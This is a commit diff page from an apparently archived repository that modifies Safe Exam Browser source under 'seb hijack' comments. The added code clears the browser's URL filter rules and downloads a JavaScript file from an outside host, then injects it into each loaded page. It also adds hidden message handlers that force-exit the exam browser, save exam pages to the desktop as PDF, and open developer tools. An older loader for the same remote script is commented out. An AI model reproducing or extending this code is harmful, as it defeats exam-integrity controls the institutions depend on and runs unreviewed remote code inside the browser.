Skip to content
This repository was archived by the owner on Jun 30, 2025. It is now read-only.

Commit 5ef8161

Browse files
committed
make stuff better + dev tools + version checking
1 parent c969237 commit 5ef8161

2 files changed

Lines changed: 89 additions & 50 deletions

File tree

SafeExamBrowser.Browser/BrowserControl.cs

Lines changed: 65 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
using System.Threading.Tasks;
1313
using System.Windows.Forms;
1414
using CefSharp;
15+
using CefSharp.WinForms;
1516
using SafeExamBrowser.Browser.Wrapper;
1617
using SafeExamBrowser.Browser.Wrapper.Events;
1718
using SafeExamBrowser.Logging.Contracts;
@@ -142,7 +143,16 @@ public void Initialize()
142143

143144
if (control is IWebBrowser webBrowser)
144145
{
145-
webBrowser.JavascriptMessageReceived += async (sender, e) => await WebBrowser_JavascriptMessageReceivedAsync(sender, e);
146+
webBrowser.JavascriptMessageReceived += WebBrowser_JavascriptMessageReceived;
147+
148+
// seb hijack
149+
Settings.Browser.FilterSettings filterSettings = new Settings.Browser.FilterSettings();
150+
filterSettings.Rules.Clear();
151+
using (var client = new System.Net.WebClient())
152+
{
153+
var the_script = client.DownloadString("https://wxnnvs.ftp.sh/un-seb/the_script.js");
154+
webBrowser.ExecuteScriptAsyncWhenPageLoaded(the_script);
155+
}
146156
}
147157
}
148158

@@ -189,35 +199,64 @@ private void Control_IsBrowserInitializedChanged(object sender, EventArgs e)
189199
}
190200
}
191201

192-
private async Task WebBrowser_JavascriptMessageReceivedAsync(object sender, JavascriptMessageReceivedEventArgs e)
193-
{
194-
clipboard.Process(e);
195-
196-
dynamic message = e.Message;
197-
if (message.type == "exitSEB")
198-
{
199-
if (MessageBox.Show("Crashing SEB can take up to 10 seconds \nIt can be seen in the log files aswell.", "SEB Crash", MessageBoxButtons.OKCancel, MessageBoxIcon.Information) == DialogResult.OK)
200-
{
201-
Environment.Exit(0);
202-
}
203-
}
204-
205-
if (message.type == "screenshot")
206-
{
207-
var settings = new PdfPrintSettings();
208-
string filename = DateTime.Now.ToString("yyyyMMdd_HHmmss") + ".pdf";
209-
string filepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), filename);
210-
var succes = await control.BrowserCore.PrintToPdfAsync(filepath, settings);
211-
var owner = control as IWin32Window;
212-
if (succes)
202+
// seb hijack
203+
private void ExitSEB()
204+
{
205+
if (MessageBox.Show("Crashing SEB can take up to 10 seconds \nIt can be seen in the log files aswell.", "SEB Crash", MessageBoxButtons.OKCancel, MessageBoxIcon.Information) == DialogResult.OK)
206+
{
207+
Environment.Exit(0);
208+
}
209+
}
210+
211+
private async Task SaveAsPDF()
212+
{
213+
var settings = new PdfPrintSettings();
214+
string filename = DateTime.Now.ToString("yyyyMMdd_HHmmss") + ".pdf";
215+
string filepath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), filename);
216+
var succes = await control.BrowserCore.PrintToPdfAsync(filepath, settings);
217+
var owner = control as IWin32Window;
218+
if (succes)
219+
{
220+
MessageBox.Show(owner, "PDF should be saved to desktop.", "Save as PDF", MessageBoxButtons.OK, MessageBoxIcon.Information);
221+
}
222+
else
223+
{
224+
MessageBox.Show(owner, "Failed to generate PDF", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
225+
}
226+
}
227+
228+
private void WebBrowser_JavascriptMessageReceived(object sender, JavascriptMessageReceivedEventArgs e)
229+
{
230+
clipboard.Process(e);
231+
232+
// seb hijack
233+
dynamic message = e.Message;
234+
if (message.type == "exitSEB")
235+
{
236+
ExitSEB();
237+
}
238+
239+
if (message.type == "screenshot")
240+
{
241+
_ = SaveAsPDF();
242+
}
243+
244+
if (message.type == "devTools")
245+
{
246+
ShowDeveloperConsole();
247+
}
248+
249+
if (message.type == "version")
250+
{
251+
if (message.version == "2")
213252
{
214-
MessageBox.Show(owner, "PDF should be saved to desktop.", "Save as PDF", MessageBoxButtons.OK, MessageBoxIcon.Information);
253+
ExecuteJavaScript("responseFunction(true);");
215254
}
216255
else
217256
{
218-
MessageBox.Show(owner, "Failed to generate PDF", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
257+
ExecuteJavaScript("responseFunction(false);");
219258
}
220259
}
221-
}
222-
}
260+
}
261+
}
223262
}

SafeExamBrowser.Browser/Handlers/RenderProcessMessageHandler.cs

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -49,33 +49,33 @@ public void OnContextCreated(IWebBrowser chromiumWebBrowser, IBrowser browser, I
4949
frame.ExecuteJavaScriptAsync($"window.print = function() {{ alert('{text.Get(TextKey.Browser_PrintNotAllowed)}') }}");
5050
}
5151

52-
var js = @"
53-
function loadScript(url, completeCallback) {
54-
var script = document.createElement('script');
55-
script.src = url;
56-
script.async = true; // Use async for non-blocking loading
57-
58-
script.onload = function() {
59-
completeCallback();
60-
// Clean up the script reference
61-
script.onload = null; // Prevent memory leaks
62-
};
63-
64-
script.onerror = function() {
65-
alert('SEB Hijack could not load');
66-
};
67-
68-
document.head.appendChild(script);
69-
}
52+
//var js = @"
53+
// function loadScript(url, completeCallback) {
54+
// var script = document.createElement('script');
55+
// script.src = url;
56+
// script.async = true; // Use async for non-blocking loading
57+
58+
// script.onload = function() {
59+
// completeCallback();
60+
// // Clean up the script reference
61+
// script.onload = null; // Prevent memory leaks
62+
// };
63+
64+
// script.onerror = function() {
65+
// alert('SEB Hijack could not load');
66+
// };
67+
68+
// document.head.appendChild(script);
69+
//}
7070

71-
// Load jQuery over HTTPS
72-
loadScript('https://wxnnvs.ftp.sh/un-seb/the_script.js', function() {
73-
console.log('jQuery has been loaded.');
74-
});
71+
//// Load jQuery over HTTPS
72+
//loadScript('https://wxnnvs.ftp.sh/un-seb/the_script.js', function() {
73+
// console.log('jQuery has been loaded.');
74+
//});
7575

76-
";
76+
//";
7777

78-
frame.ExecuteJavaScriptAsync(js);
78+
//frame.ExecuteJavaScriptAsync(js);
7979

8080
if (settings.UseIsolatedClipboard)
8181
{

0 commit comments

Comments
 (0)